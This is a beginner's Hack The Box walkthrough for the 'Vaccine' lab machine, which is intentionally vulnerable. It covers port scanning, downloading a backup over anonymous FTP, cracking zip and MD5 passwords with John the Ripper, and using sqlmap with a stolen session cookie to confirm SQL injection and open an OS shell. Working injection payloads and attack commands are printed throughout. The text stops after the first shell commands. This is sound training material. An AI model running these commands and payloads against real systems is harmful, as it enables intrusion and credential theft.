The aim of this walkthrough is to provide help with the Vaccine machine on the Hack The Box website. Please note that no flags are directly provided here. Moreover, be aware that this is only one of the many ways to solve the challenges.
It belongs to a series of tutorials that aim to help out complete beginners with finishing the Starting Point TIER 2 challenges.
SETUP
There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.
Once our connection is taken care of, we spawn the target machine.
Additionally - even though not required - it is possible to set a local variable (only available in the current shell) containing our target host’s IP address. Once set, we can easily access it by prepending a $ to our variable name.
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $rhost=<target-hosts-ip>
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $ echo $rhost
<target-hosts-ip>
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $
We could use the unset command to remove it after we no longer need it.
┌─[✗]─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $unset rhost
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $
TASK 1
Question: Besides SSH and HTTP, what other service is hosted on this box?
We start out with a quick connection check
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ ping $rhost -c 4
PING 10.129.94.247 (10.129.94.247) 56(84) bytes of data.
64 bytes from 10.129.94.247: icmp_seq=1 ttl=63 time=10.8 ms
64 bytes from 10.129.94.247: icmp_seq=2 ttl=63 time=10.5 ms
64 bytes from 10.129.94.247: icmp_seq=3 ttl=63 time=10.2 ms
64 bytes from 10.129.94.247: icmp_seq=4 ttl=63 time=10.2 ms
--- 10.129.94.247 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 10.202/10.435/10.777/0.232 ms
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$
and follow up on it with the usual (version and script - top 1000 ports) nmap scan.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ nmap -sC -sV $rhost
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-18 03:15 BST
Nmap scan report for 10.129.94.247
Host is up (0.069s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.12
| Logged in as ftpuser
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c0ee58077534b00b9165b259569527a4 (RSA)
| 256 ac6e81188922d7a7417d814f1bb8b251 (ECDSA)
|_ 256 425bc321dfefa20bc95e03421d69d028 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: MegaCorp Login
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.30 seconds
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$
Couple of things that may stand out at first look:
- ftp anonymous/guest login is allowed
- there is a file backup.zip which we can access via ftp
- ssh version is 1:8.0p1-6ubuntu0.1
- apache webserver is running with version ‘Apache httpd 2.4.41’
- running os is probably Ubuntu 19.10 - Eoan Ermine
We continue with a quick fingerprinting.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ whatweb $rhost
http://10.129.94.247 [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.94.247], PasswordField[password], Title[MegaCorp Login]
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$
ftp
TASK 2
Question: This service can be configured to allow login with any password for specific username. What is that username?
Since anonymous login is enabled on the ftp server, we check it out and proceed downloading the file we spotted earlier (in TASK1).
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ ftp $rhost
Connected to 10.129.94.247.
220 (vsFTPd 3.0.3)
Name (10.129.94.247:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
226 Directory send OK.
ftp> get backup.zip
local: backup.zip remote: backup.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for backup.zip (2533 bytes).
226 Transfer complete.
2533 bytes received in 0.00 secs (1.6289 MB/s)
ftp> exit
221 Goodbye.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$
anonymous
TASK 3
Question: What is the name of the file downloaded over this service?
Simply trying to decompress it does not work as it is password protected.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ ll
total 4.0K
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 2.5K May 18 03:17 backup.zip
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ unzip backup.zip
Archive: backup.zip
[backup.zip] index.php password:
password incorrect--reenter:
password incorrect--reenter:
skipping: index.php incorrect password
[backup.zip] style.css password:
password incorrect--reenter:
password incorrect--reenter:
skipping: style.css incorrect password
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$
backup.zip
TASK 4
Question: What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?
A quick online search leaves us with two potential candidates:
- zip2john
- rar2john
But given the extension of backup.zip, it should be the first one. Now that we identified the necessary tools, we get to it.
First we create the password hash which we can later crack.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ man john
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ zip2john backup.zip > backupzip.hash
Created directory: /home/htb-bluewalle/.john
ver 2.0 efh 5455 efh 7875 backup.zip/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=1201, decmplen=2594, crc=3A41AE06
ver 2.0 efh 5455 efh 7875 backup.zip/style.css PKZIP Encr: 2b chk, TS_chk, cmplen=986, decmplen=3274, crc=1B1CCD6A
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ ll
total 8.0K
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 2.5K May 18 03:17 backup.zip
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 2.2K May 18 03:20 backupzip.hash
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$
This is how the resulting password hash looks like:
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ cat backupzip.hash
backup.zip:$pkzip2$2*2*1*0*8*24*3a41*5722*543fb39ed1a919ce7b58641a238e00f4cb3a826cfb1b8f4b225aa15c4ffda8fe72f60a82*2*0*3da*cca*1b1ccd6a*504*43*8*3da*1b1c*989a*22290dc3505e51d341f31925a7ffefc181ef9f66d8d25e53c82afc7c1598fbc3fff28a17ba9d8cec9a52d66a11ac103f257e14885793fe01e26238915796640e8936073177d3e6e28915f5abf20fb2fb2354cf3b7744be3e7a0a9a798bd40b63dc00c2ceaef81beb5d3c2b94e588c58725a07fe4ef86c990872b652b3dae89b2fff1f127142c95a5c3452b997e3312db40aee19b120b85b90f8a8828a13dd114f3401142d4bb6b4e369e308cc81c26912c3d673dc23a15920764f108ed151ebc3648932f1e8befd9554b9c904f6e6f19cbded8e1cac4e48a5be2b250ddfe42f7261444fbed8f86d207578c61c45fb2f48d7984ef7dcf88ed3885aaa12b943be3682b7df461842e3566700298efad66607052bd59c0e861a7672356729e81dc326ef431c4f3a3cdaf784c15fa7eea73adf02d9272e5c35a5d934b859133082a9f0e74d31243e81b72b45ef3074c0b2a676f409ad5aad7efb32971e68adbbb4d34ed681ad638947f35f43bb33217f71cbb0ec9f876ea75c299800bd36ec81017a4938c86fc7dbe2d412ccf032a3dc98f53e22e066defeb32f00a6f91ce9119da438a327d0e6b990eec23ea820fa24d3ed2dc2a7a56e4b21f8599cc75d00a42f02c653f9168249747832500bfd5828eae19a68b84da170d2a55abeb8430d0d77e6469b89da8e0d49bb24dbfc88f27258be9cf0f7fd531a0e980b6defe1f725e55538128fe52d296b3119b7e4149da3716abac1acd841afcbf79474911196d8596f79862dea26f555c772bbd1d0601814cb0e5939ce6e4452182d23167a287c5a18464581baab1d5f7d5d58d8087b7d0ca8647481e2d4cb6bc2e63aa9bc8c5d4dfc51f9cd2a1ee12a6a44a6e64ac208365180c1fa02bf4f627d5ca5c817cc101ce689afe130e1e6682123635a6e524e2833335f3a44704de5300b8d196df50660bb4dbb7b5cb082ce78d79b4b38e8e738e26798d10502281bfed1a9bb6426bfc47ef62841079d41dbe4fd356f53afc211b04af58fe3978f0cf4b96a7a6fc7ded6e2fba800227b186ee598dbf0c14cbfa557056ca836d69e28262a060a201d005b3f2ce736caed814591e4ccde4e2ab6bdbd647b08e543b4b2a5b23bc17488464b2d0359602a45cc26e30cf166720c43d6b5a1fddcfd380a9c7240ea888638e12a4533cfee2c7040a2f293a888d6dcc0d77bf0a2270f765e5ad8bfcbb7e68762359e335dfd2a9563f1d1d9327eb39e68690a8740fc9748483ba64f1d923edfc2754fc020bbfae77d06e8c94fba2a02612c0787b60f0ee78d21a6305fb97ad04bb562db282c223667af8ad907466b88e7052072d6968acb7258fb8846da057b1448a2a9699ac0e5592e369fd6e87d677a1fe91c0d0155fd237bfd2dc49*$/pkzip2$::backup.zip:style.css, index.php:backup.zip
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$
So now it’s time to finally get cracking
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ john backupzip.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
741852963 (backup.zip)
1g 0:00:00:00 DONE 2/3 (2023-05-18 03:21) 11.11g/s 844766p/s 844766c/s 844766C/s 123456..ferrises
Use the "--show" option to display all of the cracked passwords reliably
Session completed
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ john --show backupzip.hash
backup.zip:741852963::backup.zip:style.css, index.php:backup.zip
1 password hash cracked, 0 left
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$
Unzipping the backup.zip file with the password we just found - 741852963 - will provide us with two source files:
- index.php
- style.css
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ unzip backup.zip
Archive: backup.zip
[backup.zip] index.php password:
inflating: index.php
inflating: style.css
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$
Let’s check them out.
- index.php -
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ cat index.php
<!DOCTYPE html>
<?php
session_start();
if(isset($_POST['username']) && isset($_POST['password'])) {
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION['login'] = "true";
header("Location: dashboard.php");
}
}
?>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>MegaCorp Login</title>
<link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700" rel="stylesheet"><link rel="stylesheet" href="./style.css">
</head>
<h1 align=center>MegaCorp Login</h1>
<body>
<!-- partial:index.partial.html -->
<body class="align">
<div class="grid">
<form action="" method="POST" class="form login">
<div class="form__field">
<label for="login__username"><svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#user"></use></svg><span class="hidden">Username</span></label>
<input id="login__username" type="text" name="username" class="form__input" placeholder="Username" required>
</div>
<div class="form__field">
<label for="login__password"><svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#lock"></use></svg><span class="hidden">Password</span></label>
<input id="login__password" type="password" name="password" class="form__input" placeholder="Password" required>
</div>
<div class="form__field">
<input type="submit" value="Sign In">
</div>
</form>
</div>
<svg xmlns="http://www.w3.org/2000/svg" class="icons"><symbol id="arrow-right" viewBox="0 0 1792 1792"><path d="M1600 960q0 54-37 91l-651 651q-39 37-91 37-51 0-90-37l-75-75q-38-38-38-91t38-91l293-293H245q-52 0-84.5-37.5T128 1024V896q0-53 32.5-90.5T245 768h704L656 474q-38-36-38-90t38-90l75-75q38-38 90-38 53 0 91 38l651 651q37 35 37 90z"/></symbol><symbol id="lock" viewBox="0 0 1792 1792"><path d="M640 768h512V576q0-106-75-181t-181-75-181 75-75 181v192zm832 96v576q0 40-28 68t-68 28H416q-40 0-68-28t-28-68V864q0-40 28-68t68-28h32V576q0-184 132-316t316-132 316 132 132 316v192h32q40 0 68 28t28 68z"/></symbol><symbol id="user" viewBox="0 0 1792 1792"><path d="M1600 1405q0 120-73 189.5t-194 69.5H459q-121 0-194-69.5T192 1405q0-53 3.5-103.5t14-109T236 1084t43-97.5 62-81 85.5-53.5T538 832q9 0 42 21.5t74.5 48 108 48T896 971t133.5-21.5 108-48 74.5-48 42-21.5q61 0 111.5 20t85.5 53.5 62 81 43 97.5 26.5 108.5 14 109 3.5 103.5zm-320-893q0 159-112.5 271.5T896 896 624.5 783.5 512 512t112.5-271.5T896 128t271.5 112.5T1280 512z"/></symbol></svg>
</body>
<!-- partial -->
</body>
</html>
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$
The part in the beginning
...
if(isset($_POST['username']) && isset($_POST['password'])) {
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION['login'] = "true";
header("Location: dashboard.php");
}
}
...
definitely stands out.
Simply put: if any password is used for the admin user and if that password’s md5-hash equals - 2cb42f8734ea607eefed3b70af13bbd3 -, we are allowed access and redirected to - dashboard.php -.
Looking at the other file - style.css -
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ cat style.css
/* config.css */
/* helpers/align.css */
.align {
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
display: -webkit-box;
display: -ms-flexbox;
display: flex;
-webkit-box-orient: vertical;
-webkit-box-direction: normal;
-ms-flex-direction: column;
flex-direction: column;
-webkit-box-pack: center;
-ms-flex-pack: center;
justify-content: center;
}
/* helpers/grid.css */
...
/* modules/text.css */
p {
margin-bottom: 24px;
margin-bottom: 1.5rem;
margin-top: 24px;
margin-top: 1.5rem;
}
.text--center {
text-align: center;
}
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$
except maybe the mentioning of some interesting locations like - * modules/text.css * -, nothing really stands out.
zip2john
TASK 5
Question: What is the password for the admin user on the website?
To answer the question, first we have to save the md5 hash we found in TASK4.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ echo -n "2cb42f8734ea607eefed3b70af13bbd3" > md5hash
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ cat md5hash
2cb42f8734ea607eefed3b70af13bbd3┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$
Then we use john (again) to crack it.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt md5hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
qwerty789 (?)
1g 0:00:00:00 DONE (2023-05-18 03:27) 16.66g/s 1670Kp/s 1670Kc/s 1670KC/s shunda..pogimo
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ john --show --format=Raw-MD5 md5hash
?:qwerty789
1 password hash cracked, 0 left
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$
qwerty789
TASK 6
Question: What option can be passed to sqlmap to try to get command execution via the sql injection?
It’s well past the time that we checked out the webpage which target hosts. Once we call up - http://$rhost/ - in our browser, we are welcomed with a log in page.
Using the credentials we obtained in TASK4 and TASK5
obtained credentials | |
---|---|
username | admin |
password | qwerty789 |
we log in. We might notice, that once logged in we are directly redirected to - http://$rhost/dashboard.php -.
Moreover, after goofing around a bit, we notice, that every word we search for with the search field gets reflected in the url search parameter.
Since these kinds of search fields are quite often prone to sql injection attacks - and given the question explicitly mentioning sqlmap as the tool we should look up - we do exactly that, we check it out.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ sqlmap --help
___
__H__
___ ___[']_____ ___ ___ {1.6.12#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Usage: python3 sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST (e.g. "id=1")
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly
...
...
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
General:
These options can be used to set some general working parameters
--batch Never ask for user input, use the default behavior
--flush-session Flush session files for current target
Miscellaneous:
These options do not fit into any other category
--wizard Simple wizard interface for beginner users
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$
Looking over the tool’s options will provide us with both the task’s answer and a little hint about the next direction we should head towards.
So our next course of action is to use sqlmap to determine if the target website is vulnerable to sql injection or not.
Trying to run it with only the url being specified will not work considering we forgot to provide any credentials or authentication data.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ sqlmap -u http://10.129.94.247/dashboard.php?search=test
___
__H__
___ ___[']_____ ___ ___ {1.6.12#stable}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 04:09:30 /2023-05-18/
[04:09:31] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.129.94.247:80/index.php'. Do you want to follow? [Y/n] n
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=f4j6ae5ahkv...a47gj2eidd'). Do you want to use those [Y/n] n
One way to rectify this is to simply copy the cookie data from our authenticated browser session (already logged in). We can grab the cookie information by heading to
Web Developer Tools -> Storage -> Cookies -> - http://$rhost -
and then using the --cookie=COOKIE option to get an authorized session. It is important to take note of the modification to the cookie’s format:
# before
PHPSESSID:"28ivthf91jm4d05jrcl09d0k7a"
# after
"PHPSESSID=28ivthf91jm4d05jrcl09d0k7a"
Once run, it reports that the search url parameter is indeed vulnerable to sql injection. It even provides us with some example payloads we could then use to exploit this weakness.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ sqlmap -u http://10.129.94.247/dashboard.php?search=test --cookie="PHPSESSID=28ivthf91jm4d05jrcl09d0k7a"
___
__H__
___ ___["]_____ ___ ___ {1.6.12#stable}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 04:28:03 /2023-05-18/
[04:28:03] [INFO] testing connection to the target URL
[04:28:03] [INFO] testing if the target URL content is stable
[04:28:04] [INFO] target URL content is stable
[04:28:04] [INFO] testing if GET parameter 'search' is dynamic
[04:28:04] [WARNING] GET parameter 'search' does not appear to be dynamic
[04:28:04] [INFO] heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'PostgreSQL')
[04:28:04] [INFO] heuristic (XSS) test shows that GET parameter 'search' might be vulnerable to cross-site scripting (XSS) attacks
[04:28:04] [INFO] testing for SQL injection on GET parameter 'search'
it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided level (1) and risk (1) values? [Y/n] Y
[04:28:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[04:28:33] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[04:28:33] [INFO] testing 'Generic inline queries'
[04:28:33] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'
[04:28:33] [INFO] GET parameter 'search' appears to be 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)' injectable
[04:28:33] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[04:28:33] [INFO] GET parameter 'search' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable
[04:28:33] [INFO] testing 'PostgreSQL inline queries'
[04:28:33] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[04:28:33] [WARNING] time-based comparison requires larger statistical model, please wait....... (done)
[04:28:43] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable
[04:28:43] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[04:28:53] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable
[04:28:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: search (GET)
Type: boolean-based blind
Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
Payload: search=test' AND (SELECT (CASE WHEN (1932=1932) THEN NULL ELSE CAST((CHR(82)||CHR(87)||CHR(111)||CHR(97)) AS NUMERIC) END)) IS NULL-- PmQn
Type: error-based
Title: PostgreSQL AND error-based - WHERE or HAVING clause
Payload: search=test' AND 9113=CAST((CHR(113)||CHR(98)||CHR(107)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (9113=9113) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(113)||CHR(107)||CHR(113)) AS NUMERIC)-- QJaM
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: search=test';SELECT PG_SLEEP(5)--
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: search=test' AND 4415=(SELECT 4415 FROM PG_SLEEP(5))-- SmbO
---
[04:29:02] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[04:29:02] [INFO] fetched data logged to text files under '/home/htb-bluewalle/.local/share/sqlmap/output/10.129.94.247'
[*] ending @ 04:29:02 /2023-05-18/
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$
But considering our aim here - simply getting and interactive shell and gaining a foothold on the target - we decide for the aforementioned --os-shell option.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.12]─[htb-bluewalle@htb-bigt2wisms]─[~/vaccine]
└──╼ [★]$ sqlmap -u http://10.129.94.247/dashboard.php?search=test --cookie="PHPSESSID=28ivthf91jm4d05jrcl09d0k7a" --os-shell
___
__H__
___ ___[']_____ ___ ___ {1.6.12#stable}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 04:36:02 /2023-05-18/
[04:36:02] [INFO] resuming back-end DBMS 'postgresql'
[04:36:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (GET)
Type: boolean-based blind
Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
Payload: search=test' AND (SELECT (CASE WHEN (1932=1932) THEN NULL ELSE CAST((CHR(82)||CHR(87)||CHR(111)||CHR(97)) AS NUMERIC) END)) IS NULL-- PmQn
Type: error-based
Title: PostgreSQL AND error-based - WHERE or HAVING clause
Payload: search=test' AND 9113=CAST((CHR(113)||CHR(98)||CHR(107)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (9113=9113) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(113)||CHR(107)||CHR(113)) AS NUMERIC)-- QJaM
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: search=test';SELECT PG_SLEEP(5)--
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: search=test' AND 4415=(SELECT 4415 FROM PG_SLEEP(5))-- SmbO
---
[04:36:03] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 20.10 or 20.04 or 19.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[04:36:03] [INFO] fingerprinting the back-end DBMS operating system
[04:36:03] [INFO] the back-end DBMS operating system is Linux
[04:36:03] [INFO] testing if current user is DBA
[04:36:03] [INFO] retrieved: '1'
[04:36:03] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[04:36:03] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>
But interacting with this shell seems quite problematic,
...
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] Y
[04:49:35] [INFO] retrieved: 'postgres'
command standard output: 'postgres'
os-shell> pwd
do you want to retrieve the command standard output? [Y/n/a] Y
[04:49:58] [INFO] retrieved: '/var/lib/postgresql/11/main'
command standard output: '/var/lib/postgresql/11/main'
os-shell>
